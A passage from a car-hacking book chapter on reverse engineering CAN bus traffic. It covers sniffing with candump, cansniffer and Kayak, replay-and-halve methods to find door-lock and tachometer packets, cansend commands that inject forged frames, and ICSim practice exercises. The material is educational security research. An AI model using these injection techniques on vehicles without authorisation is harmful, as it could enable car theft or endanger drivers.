the	randomly	generated	packets	were	affecting),	not	during	an	active	exploit.

Accessing	and	fuzzing	manufacturer-specific	PIDs—by	flashing	firmware
or	using	mode	0x08—can	lead	to	interesting	results.	Because	each
manufacturer	interface	is	kept	secret,	it’s	difficult	to	assess	the	actual	risk	of
the	network.	Unfortunately,	security	professionals	will	need	to	reverse	or
fuzz	these	proprietary	interfaces	to	determine	what	is	exposed	before	work
can	be	done	to	determine	whether	there	are	vulnerabilities.	Malicious	actors
will	need	to	do	the	same	thing,	although	they	won’t	be	motivated	to	share
their	findings.	If	they	can	keep	undocumented	entry	points	and	weaknesses	a
secret,	then	their	exploit	will	last	longer	without	being	detected.	Having
secret	interfaces	into	the	vehicle	doesn’t	increase	security;	the	vulnerabilities
are	there	regardless	of	whether	people	are	allowed	to	discuss	them.	Because
there’s	money	in	selling	these	codes	(sometimes	upward	of	$50,000),	the
industry	has	little	incentive	to	embrace	the	community.

Summary
In	this	chapter,	you	have	gone	beyond	traditional	CAN	packets	to
understand	more	complex	protocols	such	as	ISO-TP.	You	have	learned	how
CAN	packets	can	be	linked	together	to	write	larger	messages	or	to	create
two-directional	communications	over	CAN.	You	also	learned	how	to	read
and	clear	any	DTCs.	You	looked	at	how	to	find	undocumented	diagnostic
services	and	saw	what	types	of	data	are	recorded	about	you	and	your	driving



habits.	You	also	explored	some	ways	in	which	diagnostic	services	can	be	used
by	malicious	parties.



5
REVERSE	ENGINEERING	THE	CAN	BUS

In	order	to	reverse	engineer	the	CAN	bus,	we	first	have	to	be	able	to	read
the	CAN	packets	and	identify	which	packets	control	what.	That	said,	we
don’t	need	to	be	able	to	access	the	official	diagnostic	CAN	packets	because
they’re	primarily	a	read-only	window.	Instead,	we’re	interested	in	accessing
all	the	other	packets	that	flood	the	CAN	bus.	The	rest	of	the	nondiagnostic
packets	are	the	ones	that	the	car	actually	uses	to	perform	actions.	It	can	take
a	long	time	to	grasp	the	information	contained	in	these	packets,	but	that
knowledge	can	be	critical	to	understanding	the	car’s	behavior.

Locating	the	CAN	Bus
Of	course,	before	we	can	reverse	the	CAN	bus,	we	need	to	locate	the	CAN.
If	you	have	access	to	the	OBD-II	connector,	your	vehicle’s	connector	pinout
map	should	show	you	where	the	CAN	is.	(See	Chapter	2	for	common
locations	of	the	OBD	connectors	and	their	pinouts.)	If	you	don’t	have	access
to	the	OBD-II	connector	or	you’re	looking	for	hidden	CAN	signals,	try	one
of	these	methods:

•	Look	for	paired	and	twisted	wires.	CAN	wires	are	typically	two	wires
twisted	together.



•	Use	a	multimeter	to	check	for	a	2.5V	baseline	voltage.	(This	can	be
difficult	to	identify	because	the	bus	is	often	noisy.)

•	Use	a	multimeter	to	check	for	ohm	resistance.	The	CAN	bus	uses	a	120-
ohm	terminator	on	each	end	of	the	bus,	so	there	should	be	60	ohms
between	the	two	twisted-pair	wires	you	suspect	are	CAN.

•	Use	a	two-channel	oscilloscope	and	subtract	the	difference	between	the
two	suspected	CAN	wires.	You	should	get	a	constant	signal	because	the
differential	signals	should	cancel	each	other	out.	(Differential	signaling	is
discussed	in	“The	CAN	Bus”	on	page	16.)

NOTE

If	the	car	is	turned	off,	the	CAN	bus	is	usually	silent,	but	something	as	simple
as	inserting	the	car	key	or	pulling	up	on	the	door	handle	will	usually	wake	the
vehicle	and	generate	signals.

Once	you’ve	identified	a	CAN	network,	the	next	step	is	to	start
monitoring	the	traffic.

Reversing	CAN	Bus	Communications	with	can-utils	and
Wireshark
First,	you	need	to	determine	the	type	of	communication	running	on	the	bus.
You’ll	often	want	to	identify	a	certain	signal	or	the	way	a	certain	component
talks—for	example,	how	the	car	unlocks	or	how	the	drivetrain	works.	In
order	to	do	so,	locate	the	bus	those	target	components	use,	and	then	reverse
engineer	the	packets	traveling	on	that	bus	to	identify	their	purpose.

To	monitor	the	activity	on	your	CAN,	you	need	a	device	that	can
monitor	and	generate	CAN	packets,	such	as	the	ones	discussed	in	Appendix
A.	There	are	a	ton	of	these	devices	on	the	market.	The	cheap	OBD-II
devices	that	sell	for	under	$20	technically	work,	but	their	sniffers	are	slow
and	will	miss	a	lot	of	packets.	It’s	always	best	to	have	a	device	that’s	as	open
as	possible	because	it’ll	work	with	the	majority	of	software	tools—open
source	hardware	and	software	is	ideal.	However,	a	proprietary	device
specifically	designed	to	sniff	CAN	should	still	work.	We’ll	look	at	using
candump,	from	the	can-utils	suite,	and	Wireshark	to	capture	and	filter	the



packets.
Generic	packet	analysis	won’t	work	for	CAN	because	CAN	packets	are

unique	to	each	vehicle’s	make	and	model.	Also,	because	there’s	so	much
noise	on	CAN,	it’s	too	cumbersome	to	sort	through	every	packet	as	it	flows
by	in	sequence.

Using	Wireshark
Wireshark	(https://www.wireshark.org/)	is	a	common	network	monitoring
tool.	If	your	background	is	in	networking,	your	first	instinct	may	be	to	use
Wireshark	to	look	at	CAN	packets.	This	technically	works,	but	we	will	soon
see	why	Wireshark	is	not	the	best	tool	for	the	job.

If	you	want	to	use	Wireshark	to	capture	CAN	packets,	you	can	do	so
together	with	SocketCAN.	Wireshark	can	listen	on	both	canX	and	vcanX
devices,	but	not	on	slcanX	because	serial-link	devices	are	not	true	netlink
devices	and	they	need	a	translation	daemon	in	order	for	them	to	work.	If	you
need	to	use	a	slcanX	device	with	Wireshark,	try	changing	the	name	from
slcanX	to	canX.	(I	discuss	CAN	interfaces	in	detail	Chapter	2.)

If	renaming	the	interface	doesn’t	work	or	you	simply	need	to	move	CAN
packets	from	an	interface	that	Wireshark	can’t	read	to	one	it	can,	you	can
bridge	the	two	interfaces.	You’ll	need	to	use	candump	from	the	can-utils
package	in	bridge	mode	to	send	packets	from	slcan0	to	vcan0.

$	candump	-b	vcan0	slcan0

Notice	in	Figure	5-1	that	the	data	section	isn’t	decoded	and	is	just
showing	raw	hex	bytes.	This	is	because	Wireshark’s	decoder	handles	only
the	basic	CAN	header	and	doesn’t	know	how	to	deal	with	ISO-TP	or	UDS
packets.	The	highlighted	packet	is	a	UDS	request	for	VIN.	(I’ve	sorted	the
packets	in	the	screen	by	identifier,	rather	than	by	time,	to	make	it	easier	to
read.)

https://www.wireshark.org/


Figure	5-1:	Wireshark	on	the	CAN	bus

Using	candump
As	with	Wireshark,	candump	doesn’t	decode	the	data	for	you;	that	job	is	left
up	to	you,	as	the	reverse	engineer.	Listing	5-1	uses	slcan0	as	the	sniffer
device.

$	candump	slcan0

slcan0➊	388➋	[2]➌	01	10➍
slcan0	110	[8]	00	00	00	00	00	00	00	00
slcan0	120	[8]	F2	89	63	20	03	20	03	20
slcan0	320	[8]	20	04	00	00	00	00	00	00
slcan0	128	[3]	A1	00	02
slcan0	7DF	[3]	02	09	02
slcan0	7E8	[8]	10	14	49	02	01	31	47	31
slcan0	110	[8]	00	00	00	00	00	00	00	00
slcan0	120	[8]	F2	89	63	20	03	20	03	20
slcan0	410	[8]	20	00	00	00	00	00	00	00
slcan0	128	[3]	A2	00	01
slcan0	380	[8]	02	02	00	00	E0	00	7E	0E
slcan0	388	[2]	01	10
slcan0	128	[3]	A3	00	00



slcan0	110	[8]	00	00	00	00	00	00	00	00
slcan0	120	[8]	F2	89	63	20	03	20	03	20
slcan0	520	[8]	00	00	04	00	00	00	00	00
slcan0	128	[3]	A0	00	03
slcan0	380	[8]	02	02	00	00	E0	00	7F	0D
slcan0	388	[2]	01	10
slcan0	110	[8]	00	00	00	00	00	00	00	00
slcan0	120	[8]	F2	89	63	20	03	20	03	20
slcan0	128	[3]	A1	00	02
slcan0	110	[8]	00	00	00	00	00	00	00	00
slcan0	120	[8]	F2	89	63	20	03	20	03	20
slcan0	128	[3]	A2	00	01
slcan0	380	[8]	02	02	00	00	E0	00	7C	00

Listing	5-1:	candump	of	traffic	streaming	through	a	CAN	bus

The	columns	are	broken	down	to	show	the	sniffer	device	➊,	the
arbitration	ID	➋,	the	size	of	the	CAN	packet	➌,	and	the	CAN	data	itself	➍.
Now	you	have	some	captured	packets,	but	they	aren’t	the	easiest	to	read.
We’ll	use	filters	to	help	identify	the	packets	we	want	to	analyze	in	more
detail.

Grouping	Streamed	Data	from	the	CAN	Bus
Devices	on	a	CAN	network	are	noisy,	often	pulsing	at	set	intervals	or	when
triggered	by	an	event,	such	as	a	door	unlocking.	This	noise	can	make	it	futile
to	stream	data	from	a	CAN	network	without	a	filter.	Good	CAN	sniffer
software	will	group	changes	to	packets	in	a	data	stream	based	on	their
arbitration	ID,	highlighting	only	the	portions	of	data	that	have	changed
since	the	last	time	the	packet	was	seen.	Grouping	packets	in	this	way	makes
it	easier	to	spot	changes	that	result	directly	from	vehicle	manipulation,
allowing	you	to	actively	monitor	the	tool’s	sniffing	section	and	watch	for
color	changes	that	correlate	to	physical	changes.	For	example,	if	each	time
you	unlock	a	door	you	see	the	same	byte	change	in	the	data	stream,	you
know	that	you’ve	probably	identified	at	least	the	byte	that	controls	the	door-
unlocking	functions.

Grouping	Packets	with	cansniffer
The	cansniffer	command	line	tool	groups	the	packets	by	arbitration	ID	and
highlights	the	bytes	that	have	changed	since	the	last	time	the	sniffer	looked
at	that	ID.	For	example,	Figure	5-2	shows	the	result	of	running	cansniffer



on	the	device	slcan0.

Figure	5-2:	cansniffer	example	output

You	can	add	the	-c	flag	to	colorize	any	changing	bytes.

$	cansniffer	-c	slcan0

The	cansniffer	tool	can	also	remove	repeating	CAN	traffic	that	isn’t
changing,	thereby	reducing	the	number	of	packets	you	need	to	watch.

Filtering	the	Packets	Display
One	advantage	of	cansniffer	is	that	you	can	send	it	keyboard	input	to	filter
results	as	they’re	displayed	in	the	terminal.	(Note	that	you	won’t	see	the
commands	you	enter	while	cansniffer	is	outputting	results.)	For	example,	to
see	only	IDs	301	and	308	as	cansniffer	collects	packets,	enter	this:

-000000
+301
+308

Entering	-000000	turns	off	all	packets,	and	entering	+301	and	+308	filters
out	all	except	IDs	301	and	308.

The	-000000	command	uses	a	bitmask,	which	does	a	bit-level	comparison
against	the	arbitration	ID.	Any	binary	value	of	1	used	in	a	mask	is	a	bit	that
has	to	be	true,	while	a	binary	value	of	0	is	a	wildcard	that	can	match



anything.	A	bitmask	of	all	0s	tells	cansniffer	to	match	any	arbitration	ID.
The	minus	sign	(-)	in	front	of	the	bitmask	removes	all	matching	bits,	which
is	every	packet.

You	can	also	use	a	filter	and	a	bitmask	with	cansniffer	to	grab	a	range	of
IDs.	For	example,	the	following	command	adds	the	IDs	from	500	through
5FF	to	the	display,	where	500	is	the	ID	applied	to	the	bitmask	of	700	to
define	the	range	we’re	interested	in.

+500700

To	display	all	IDs	of	5XX,	you’d	use	the	following	binary	representation:

ID	Binary	Representation
500	101	0000	0000
700	111	0000	0000
------------------
101	XXXX	XXXX
5	X	X

You	could	specify	F00	instead	of	700,	but	because	the	arbitration	ID	is
made	up	of	only	3	bits,	a	7	is	all	that’s	required.

Using	7FF	as	a	mask	is	the	same	as	not	specifying	a	bitmask	for	an	ID.
For	example

+3017FF

is	the	same	as

+301

This	mask	uses	binary	math	and	performs	an	AND	operation	on	the	two
numbers,	0x301	and	0x7FF:

ID	Binary	Representation
301	011	0000	0001
7FF	111	1111	1111
______________________________
011	0000	0001
3	0	1

For	those	not	familiar	with	AND	operations,	each	binary	bit	is	compared,
and	if	both	are	a	1	then	the	output	is	a	1.	For	instance,	1	AND	1	=	1,	while	1
AND	0	=	0.



If	you	prefer	to	have	a	GUI	interface,	Kayak,	which	we	discussed	in
“Kayak”	on	page	46,	is	a	CAN	bus–monitoring	application	that	also	uses
socketcand	and	will	colorize	its	display	of	capture	packets.	Kayak	won’t
remove	repeating	packets	the	way	cansniffer	does,	but	it	offers	a	few	unique
capabilities	that	you	can’t	easily	get	on	the	command	line,	such	as
documenting	the	identified	packets	in	XML	(.kcd	files),	which	can	be	used	by
Kayak	to	display	virtual	instrument	clusters	and	map	data	(see	Figure	5-3).

Figure	5-3:	Kayak	GUI	interface

Using	Record	and	Playback
Once	you’ve	used	cansniffer	or	a	similar	tool	to	identify	certain	packets	to
focus	on,	the	next	step	is	to	record	and	play	back	packets	so	you	can	analyze
them.	We’ll	look	at	two	different	tools	to	do	this:	can-utils	and	Kayak.



They	have	similar	functionality,	and	your	choice	of	tool	will	depend	on	what
you’re	working	on	and	your	interface	preferences.

The	can-utils	suite	records	CAN	packets	using	a	simple	ASCII	format,
which	you	can	view	with	a	simple	text	editor,	and	most	of	its	tools	support
this	format	for	both	recording	and	playback.	For	example,	you	can	record
with	candump,	redirect	standard	output	or	use	the	command	line	options	to
record	to	a	file,	and	then	use	canplayer	to	play	back	recordings.

Figure	5-4	shows	a	view	of	the	layout	of	Kayak’s	equivalent	to	cansniffer.

Figure	5-4:	Kayak	recording	to	a	logfile

To	record	CAN	packets	with	Kayak,	first	click	the	Play	button	in	the	Log
files	tab	➊.	Then	drag	one	or	more	buses	from	the	Projects	pane	to	the
Busses	field	of	the	LogOutput	Window	tab	➋.	Press	the	Record	and	Stop
buttons	at	the	bottom	of	the	LogOutput	window	➌	to	start	or	stop
recording.	Once	your	packet	capture	is	complete,	the	logging	should	show	in



the	Log	Directory	drop-down	menu	(see	Figure	5-5).
If	you	open	a	Kayak	logfile,	you’ll	see	something	like	the	code	snippet	in

Listing	5-2.	The	values	in	this	example	won’t	directly	correlate	to	those	in
Figure	5-4	because	the	GUI	groups	by	ID,	as	in	cansniffer,	but	the	log	is
sequential,	as	in	candump.

PLATFORM	NO_PLATFORM
DESCRIPTION	"No	description"
DEVICE_ALIAS	OBD	Port	slcan0

(1094.141850)➊	slcan0➋	128#a20001➌
(1094.141863)	slcan0	380#02020000e0007e0e
(1094.141865)	slcan0	388#0110
(1094.144851)	slcan0	110#0000000000000000
(1094.144857)	slcan0	120#f289632003200320

Listing	5-2:	Contents	of	Kayak’s	logfile



Figure	5-5:	Right	pane	of	Log	files	tab	settings

Other	than	some	metadata	(PLATFORM,	DESCRIPTION,	and	DEVICE_ALIAS),	the



log	is	pretty	much	the	same	as	the	one	captured	by	the	can-utils	package:	➊
is	the	timestamp,	➋	is	your	bus,	and	➌	is	your	arbitration	ID	and	data
separated	by	a	#	symbol.	To	play	back	the	capture,	right-click	the	Log
Description	in	the	right	panel,	and	open	the	recording	(see	Figure	5-5).

Listing	5-3	shows	the	logfile	created	by	candump	using	the	-l	command
line	option:

(1442245115.027238)	slcan0	166#D0320018
(1442245115.028348)	slcan0	158#0000000000000019
(1442245115.028370)	slcan0	161#000005500108001C
(1442245115.028377)	slcan0	191#010010A141000B

Listing	5-3:	candump	logfile

Notice	in	Listing	5-3	that	the	candump	logfiles	are	almost	identical	to
those	displayed	by	Kayak	in	Figure	5-4.	(For	more	details	on	different	can-
utils	programs,	see	“The	CAN	Utilities	Suite”	on	page	41.)

Creative	Packet	Analysis
Now	that	we’ve	captured	packets,	it’s	time	to	determine	what	each	packet
does	so	we	can	use	it	to	unlock	things	or	exploit	the	CAN	bus.	Let’s	start
with	a	simple	action	that’ll	most	likely	toggle	only	a	single	bit—the	code	to
unlock	the	doors—and	see	whether	we	can	find	the	packet	that	controls	that
behavior.

Using	Kayak	to	Find	the	Door-Unlock	Control
There’s	a	ton	of	noise	on	the	CAN	bus,	so	finding	a	single-bit	change	can	be
very	difficult,	even	with	a	good	sniffer.	But	here’s	a	universal	way	to	identify
the	function	of	a	single	CAN	packet:

1.	 Press	Record.
2.	 Perform	the	physical	action,	such	as	unlocking	a	door.
3.	 Stop	Record.
4.	 Press	Playback.
5.	 See	whether	the	action	was	repeated.	For	example,	did	the	door	unlock?



If	pressing	Playback	didn’t	unlock	the	door,	a	couple	of	things	may	have
gone	wrong.	First,	you	may	have	missed	the	action	in	the	recording,	so	try
recording	and	performing	the	action	again.	If	you	still	can’t	seem	to	record
and	replay	the	action,	the	message	is	probably	hardwired	to	the	physical	lock
button,	as	is	often	the	case	with	the	driver’s-side	door	lock.	Try	unlocking
the	passenger	door	instead	while	recording.	If	that	still	doesn’t	work,	the
message	for	the	unlock	action	is	either	on	a	CAN	bus	other	than	the	one
you’re	monitoring—you’ll	need	to	find	the	correct	one—or	the	playback
may	have	caused	a	collision,	resulting	in	the	packet	being	stomped	on.	Try
to	replay	the	recording	a	few	times	to	make	sure	the	playback	is	working.

Once	you	have	a	recording	that	performs	the	desired	action,	use	the
method	shown	in	Figure	5-6	to	filter	out	the	noise	and	locate	the	exact
packet	and	bits	that	are	used	to	unlock	the	door	via	the	CAN	bus.

Now,	keep	halving	the	size	of	the	packet	capture	until	you’re	down	to
only	one	packet,	at	which	point	you	should	be	able	figure	out	which	bit	or
bits	are	used	to	unlock	the	door.	The	quickest	way	to	do	this	is	to	open	your
sniffer	and	filter	on	the	arbitration	ID	you	singled	out.	Unlock	the	door,	and
the	bit	or	byte	that	changed	should	highlight.	Now,	try	to	unlock	the	car’s
back	doors,	and	see	how	the	bytes	change.	You	should	be	able	to	tell	exactly
which	bit	must	be	changed	in	order	to	unlock	each	door.



Figure	5-6:	Sample	unlock	reversing	flow

Using	can-utils	to	Find	the	Door-Unlock	Control
To	identify	packets	via	can-utils,	you’d	use	candump	to	record	and	canplayer



to	play	back	the	logfile,	as	noted	earlier.	Then,	you’d	use	a	text	editor	to
whittle	down	the	file	before	playback.	Once	you’re	down	to	one	packet,	you
can	then	determine	which	byte	or	bits	control	the	targeted	operation	with
the	help	of	cansend.	For	instance,	by	removing	different	halves	of	a	logfile,
you	can	identify	the	one	ID	that	triggers	the	door	to	unlock:

slcan0	300	[8]	00	00	84	00	00	0F	00	00

Now,	you	could	edit	each	byte	and	play	back	the	line,	or	you	could	use
cansniffer	with	a	filter	of	+300	to	single	out	just	the	300	arbitration	ID	and
monitor	which	byte	changes	when	you	unlock	the	door.	For	example,	if	the
byte	that	controls	the	door	unlock	is	the	sixth	byte—0x0F	in	the	preceding
example—we	know	that	when	the	sixth	byte	is	0x00,	the	doors	unlock,	and
when	it’s	0x0F,	the	doors	lock.

NOTE

This	is	a	hypothetical	example	that	assumes	we’ve	performed	all	the	steps	listed
earlier	in	this	chapter	to	identify	this	particular	byte.	The	specifics	will	vary	for
each	vehicle.

We	can	verify	our	findings	with	cansend:

$	cansend	slcan0	300#00008400000F0000

If,	after	sending	this,	all	the	doors	lock,	we’ve	successfully	identified
which	packets	control	the	door	unlock.

Now,	what	happens	when	you	change	the	0x0F?	To	find	out,	unlock	the
car	and	this	time	send	a	0x01:

$	cansend	slcan0	300#0000840000010000

Observe	that	only	the	driver’s-side	door	locks	and	the	rest	stay	open.	If
you	repeat	this	process	with	a	0x02,	only	the	front	passenger’s-side	door
locks.	When	you	repeat	again	with	a	0x03,	both	the	driver’s-side	door	and
the	front	passenger’s-side	door	lock.	But	why	did	0x03	control	two	doors
and	not	a	different	third	door?	The	answer	may	make	more	sense	when	you
look	at	the	binary	representation:



0x00	=	00000000
0x01	=	00000001
0x02	=	00000010
0x03	=	00000011

The	first	bit	represents	the	driver’s-side	door,	and	the	second	represents
the	front	passenger’s-side	door.	When	the	bit	is	a	1,	the	door	locks,	and
when	it’s	a	0,	it	unlocks.	When	you	send	an	0x0F,	you’re	setting	all	bits	that
could	affect	the	door	lock	to	a	binary	1,	thereby	locking	all	doors:

0x0F	=	00001111

What	about	the	remaining	four	bits?	The	best	way	to	find	out	what	they
do	is	to	simply	set	them	to	1	and	monitor	the	vehicle	for	changes.	We
already	know	that	at	least	some	of	the	0x300	signal	relates	to	doors,	so	it’s
fairly	safe	to	assume	the	other	four	bits	will,	too.	If	not,	they	might	control
different	door-like	behavior,	such	as	unlatching	the	trunk.

NOTE

If	you	don’t	get	a	response	when	you	toggle	a	bit,	it	may	not	be	used	at	all	and
may	simply	be	reserved.

Getting	the	Tachometer	Reading
Obtaining	information	on	the	tachometer	(the	vehicle’s	speed)	can	be
achieved	in	the	same	way	as	unlocking	the	doors.	The	diagnostic	codes
report	the	speed	of	a	vehicle,	but	they	can’t	be	used	to	set	how	the	speed
displays	(and	what	fun	is	that?),	so	we	need	to	find	out	what	the	vehicle	is
using	to	control	the	readings	on	the	instrument	cluster	(IC).

To	save	space,	the	RPM	values	won’t	display	as	a	hex	equivalent	of	the
reading;	instead,	the	value	is	shifted	such	that	1000	RPM	may	look	like
0xFA0.	This	value	is	often	referred	to	as	“shifted”	because	in	the	code,	the
developers	use	bit	shifting	to	perform	the	equivalent	of	multiplying	or
dividing.	For	the	UDS	protocol,	this	value	is	actually	as	follows:



To	make	matters	worse,	you	can’t	monitor	CAN	traffic	and	query	the
diagnostic	RPM	to	look	for	changing	values	at	the	same	time.	This	is
because	vehicles	often	compress	the	RPM	value	using	a	proprietary	method.
Although	the	diagnostic	values	are	set,	they	aren’t	the	actual	packets	and
values	that	the	vehicle	is	using,	so	we	need	to	find	the	real	value	by	reversing
the	raw	CAN	packets.	(Be	sure	to	put	the	car	in	park	before	you	do	this,	and
even	lift	the	vehicle	off	the	ground	or	put	it	on	rollers	first	to	avoid	it
starting	suddenly	and	crushing	you.)

Follow	the	same	steps	that	you	used	to	find	the	door	unlock	control:

1.	 Press	Record.
2.	 Press	the	gas	pedal.
3.	 Stop	Record.
4.	 Press	Playback.
5.	 See	whether	the	tachometer	gauge	has	moved.

You’ll	probably	find	that	a	lot	of	engine	lights	flash	and	go	crazy	during
this	test	because	this	packet	is	doing	a	lot	more	than	just	unlocking	the	car
door.	Ignore	all	the	blinking	warning	lights,	and	follow	the	flowchart	shown
in	Figure	5-6	to	find	the	arbitration	ID	that	causes	the	tachometer	to
change.	You’ll	have	a	much	higher	chance	of	collisions	this	time	than	when
trying	to	find	the	bit	to	unlock	the	doors	because	there’s	a	lot	more	going
on.	Consequently,	you	may	have	to	play	and	record	more	traffic	than	before.
(Remember	the	value	conversions	mentioned	earlier,	and	keep	in	mind	that
more	than	one	byte	in	this	arbitration	ID	will	probably	control	the	reported
speed.)

Putting	Kayak	to	Work
To	make	things	a	bit	easier,	we’ll	use	Kayak’s	GUI	instead	of	can-utils	to
find	the	arbitration	IDs	that	control	the	tachometer.	Again,	make	sure	that
the	car	is	immobilized	in	an	open	area,	with	the	emergency	brake	on,	and
maybe	even	up	on	blocks	or	rollers.	Start	recording	and	give	the	engine	a
good	rev.	Then,	stop	recording	and	play	back	the	data.	The	RPM	gauge
should	move;	if	it	doesn’t,	you	may	be	on	the	wrong	bus	and	will	need	to
locate	the	correct	bus,	as	described	earlier	in	this	chapter.

Once	you	have	the	reaction	you	expect	from	the	vehicle,	repeat	the



halving	process	used	to	find	the	door	unlock,	with	some	additional	Kayak
options.

Kayak’s	playback	interface	lets	you	set	the	playback	to	loop	infinitely	and,
more	importantly,	set	the	“in”	and	“out”	packets	(see	Figure	5-7).	The	slider
represents	the	number	of	packets	captured.	Use	the	slider	to	pick	which
packet	you	start	and	stop	with	during	playback.	You	can	quickly	jump	to	the
middle	or	other	sections	of	the	recording	using	the	slider,	which	makes
playing	back	half	of	a	section	very	easy.

Figure	5-7:	Kayak	playback	interface

As	for	testing,	you	won’t	be	able	to	send	only	a	single	packet	as	you	did
when	you	tried	to	unlock	the	car	because	the	vehicle	is	constantly	reporting
its	current	speed.	To	override	this	noise,	you	need	to	talk	even	faster	than
the	normal	communication	to	avoid	colliding	all	the	time.	For	instance,	if
you	play	your	packets	right	after	the	real	packet	plays,	then	the	last	seen
update	will	be	the	modified	one.	Reducing	noise	on	the	bus	results	in	fewer
collisions	and	cleaner	demos.	If	you	can	send	your	fake	packet	immediately
after	the	real	packet,	you	often	get	better	results	than	you	would	by	simply
flooding	the	bus.

To	send	packets	continuously	with	can-utils,	you	can	use	a	while	loop
with	cansend	or	cangen.	(When	using	Kayak’s	Send	Frame	dialog	to	transmit



packets,	make	sure	to	check	the	Interval	box.)

Creating	Background	Noise	with	the	Instrument	Cluster
Simulator
The	instrument	cluster	simulator	(ICSim)	is	one	of	the	most	useful	tools	to
come	out	of	Open	Garages,	a	group	that	fosters	open	collaboration	between
mechanics,	performance	tuners,	and	security	researchers	(see	Appendix	A).
ICSim	is	a	software	utility	designed	to	produce	a	few	key	CAN	signals	in
order	to	provide	a	lot	of	seemingly	“normal”	background	CAN	noise—
essentially,	it’s	designed	to	let	you	practice	CAN	bus	reversing	without
having	to	tinker	around	with	your	car.	(ICSim	is	Linux	only	because	it	relies
on	the	virtual	CAN	devices.)	The	methods	you’ll	learn	playing	with	ICSim
will	directly	translate	to	your	target	vehicles.	ICSim	was	designed	as	a	safe
way	to	familiarize	yourself	with	CAN	reversing	so	that	the	transition	to	an
actual	vehicle	is	as	seamless	as	possible.

Setting	Up	the	ICSim
Grab	the	source	code	for	the	ICSim	from
https://github.com/zombieCraig/ICSim	and	follow	the	README	file	supplied
with	the	download	to	compile	the	software.	Before	you	run	ICSim,	you
should	find	a	sample	script	in	the	README	called	setup_vcan.sh	that	you	can
run	to	set	up	a	vcan0	interface	for	the	ICSim	to	use.

ICSim	comes	with	two	components,	icsim	and	controls,	which	talk	to
each	other	over	a	CAN	bus.	To	use	ICSim,	first	load	the	instrument	cluster
to	the	vcan	device	like	this:

$	./icsim	vcan0

In	response,	you	should	see	the	ICSim	instrument	cluster	with	turn
signals,	a	speedometer,	and	a	picture	of	a	car,	which	will	be	used	to	show	the
car	doors	locking	and	unlocking	(see	Figure	5-8).

https://github.com/zombieCraig/ICSim


Figure	5-8:	ICSim	instrument	cluster

The	icsim	application	listens	only	for	CAN	signals,	so	when	the	ICSim
first	loads,	you	shouldn’t	see	any	activity.	In	order	to	control	the	simulator,
load	the	CANBus	Control	Panel	like	this:

$	./controls	vcan0

The	CANBus	Control	Panel	shown	in	Figure	5-9	should	appear.



Figure	5-9:	ICSim	control	interface

The	screen	looks	like	a	game	controller;	in	fact,	you	can	plug	in	a	USB
game	controller,	and	it	should	be	supported	by	ICSim.	(As	of	this	writing,
you	can	use	sixad	tools	to	connect	a	PS3	controller	over	Bluetooth	as	well.)
You	can	use	the	controller	to	operate	the	ICSim	in	a	method	similar	to
driving	a	car	using	a	gaming	console,	or	you	can	control	it	by	pressing	the
corresponding	keys	on	your	keyboard	(see	Figure	5-9).

NOTE

Once	the	control	panel	is	loaded,	you	should	see	the	speedometer	idle	just	above
0	mph.	If	the	needle	is	jiggling	a	bit,	you	know	it’s	working.	The	control
application	writes	only	to	the	CAN	bus	and	has	no	other	way	to	communicate
with	the	icsim.	The	only	way	to	control	the	virtual	car	is	through	the	CAN.

The	main	controls	on	the	CANBus	Control	Panel	are	as	follows:

Accelerate	(up	arrow)	Press	this	to	make	the	speedometer	go	faster.
The	longer	you	hold	the	key	down,	the	faster	the	virtual	vehicle	goes.

Turn	(left/right	arrows)	Hold	down	a	turn	direction	to	blink	the	turn



signals.

Lock	(left	SHIFT),	Unlock	(right	SHIFT)	This	one	requires	you	to	press
two	buttons	at	once.	Hold	down	the	left	SHIFT	and	press	a	button	(A,	B,
X,	or	Y)	to	lock	a	corresponding	door.	Hold	down	the	right	SHIFT	and
press	one	of	the	buttons	to	unlock	a	door.	If	you	hold	down	left	SHIFT	and
then	press	right	SHIFT,	it	will	unlock	all	the	doors.	If	you	hold	down	right
SHIFT	and	press	left	SHIFT,	you’ll	lock	all	the	doors.

Make	sure	you	can	fit	both	the	ICSim	and	the	CANBus	Control	Panel	on
the	same	screen	so	that	you	can	see	how	they	influence	each	other.	Then,
select	the	control	panel	so	that	it’s	ready	to	receive	input.	Play	around	with
the	controls	to	make	sure	that	the	ICSim	is	responding	properly.	If	you
don’t	see	a	response	to	your	controls,	ensure	that	the	ICSim	control	window
is	selected	and	active.

Reading	CAN	Bus	Traffic	on	the	ICSim
When	you’re	sure	everything	is	working,	fire	up	your	sniffer	of	choice	and
take	a	look	at	the	CAN	bus	traffic,	as	shown	in	Figure	5-10.	Try	to	identify
which	packets	control	the	vehicle,	and	create	scripts	to	control	ICSim
without	using	the	control	panel.

Most	of	the	changing	data	you	see	in	Figure	5-10	is	caused	by	a	replay	file
of	a	real	CAN	bus.	You’ll	have	to	sort	through	the	messages	to	determine
the	proper	packets.	All	methods	of	replay	and	packet	sending	will	work	with
ICSim,	so	you	can	validate	your	findings.



Figure	5-10:	Screen	layout	for	using	ICSim

Changing	the	Difficulty	of	ICSim
One	of	the	great	things	about	ICSim	is	that	you	can	challenge	yourself	by
making	it	harder	to	find	the	target	CAN	traffic.	ICSim	supports	four
difficulty	levels—0	through	3,	with	level	1	as	the	default.	Level	0	is	a	super
simple	CAN	packet	that	does	the	intended	operation	without	any
background	noise,	while	level	3	randomizes	all	the	bytes	in	the	packet	as
well.	To	have	the	simulator	choose	different	IDs	and	target	byte	positions,
use	ICSim’s	randomize	option:

$	./icsim	-r	vcan0
Using	CAN	interface	vcan0
Seed:	1419525427

This	option	prints	a	randomized	seed	value	to	the	console	screen.
Pass	this	value	into	the	CANBus	Control	Panel	along	with	your	choice	of

difficulty	level:

$	./controls	-s	1419525427	-l	3	vcan0



You	can	replay	or	share	a	specific	seed	value	as	well.	If	you	find	one	you
like	or	if	you	want	to	race	your	friends	to	see	who	can	decipher	the	packets
first,	launch	ICSim	with	a	set	seed	value	like	this:

$	./icsim	-s	1419525427	vcan0

Next,	launch	the	CANBus	Control	Panel	using	the	same	seed	value	to
sync	up	the	randomized	control	panel	to	the	ICSim.	If	the	seed	values	aren’t
the	same,	they	won’t	be	able	to	communicate.

It	may	take	you	a	while	to	locate	the	proper	packets	the	first	time	using
ICSim,	but	after	a	few	passes,	you	should	be	able	to	quickly	identify	which
packets	are	your	targets.

Try	to	complete	the	following	challenges	in	ICSim:

1.	 Create	“hazard	lights.”	Make	both	turn	signals	blink	at	the	same	time.
2.	 Create	a	command	that	locks	only	the	back	two	doors.
3.	 Set	the	speedometer	as	close	as	possible	to	220	mph.

Reversing	the	CAN	Bus	with	OpenXC
Depending	on	your	vehicle,	one	solution	to	reverse	engineering	the	CAN
